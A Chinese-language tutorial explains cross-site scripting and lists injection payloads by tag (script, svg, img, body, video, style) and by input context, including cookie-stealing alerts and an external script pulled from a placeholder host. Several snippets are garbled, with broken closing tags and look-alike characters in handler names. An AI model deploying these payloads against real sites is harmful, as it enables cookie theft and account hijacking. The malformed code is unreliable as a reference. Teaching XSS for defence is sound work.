一、XSS 攻击概述
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
恶意攻击者往 Web 页面里插入恶意 Script 代码(我说:插入的过程类似于注入),当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。
XSS 攻击针对的是用户层面的攻击!
二、XSS 攻击原理
HTML 是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是 HTML 标签的开始,
以下所有标签的 > 都可以用 // 代替, 例如
标签是最直接的 XSS 有效载荷,脚本标记可以引用外部的 JavaScript 代码,也可以将代码插入脚本标记中:
(关于 web 基础, 的介绍可以参见我的另一篇文章:【Web】JavaScript 简介)
<script>alert("hack")script> #弹出hack
<script>alert(/hack/)script> #弹出hack
<script>alert(1)script> #弹出1,对于数字可以不用引号
<script>alert(document.cookie)script> #弹出cookie
<script src=http://xxx.com/xss.js>script> #引用外部的xss
(2) svg 标签
<svg onload="alert(1)">
(3) img 标签
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
(4)body 标签
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
(5) video 标签
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
(6) style 标签
<style οnlοad=alert(1)>style>
2. XSS可以插在哪里?
用户输入作为 script 标签内容用户输入作为 HTML 注释内容用户输入作为 HTML 标签的属性名用户输入作为 HTML 标签的属性值用户输入作为 HTML 标签的名字直接插入到 CSS 里最重要的是,千万不要引入任何不可信的第三方 JavaScript 到页面里!
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<script>alert('hack')script>
#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入="xx"> div>
<div >div><script>alert('hack')script><div a="xx"> div>
#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id="用户输入">div>
<div id="">div><script>alert('hack')script><div a="x">div>
#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入 id="xx" />
<><script>alert('hack')script><b id="xx" />
#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入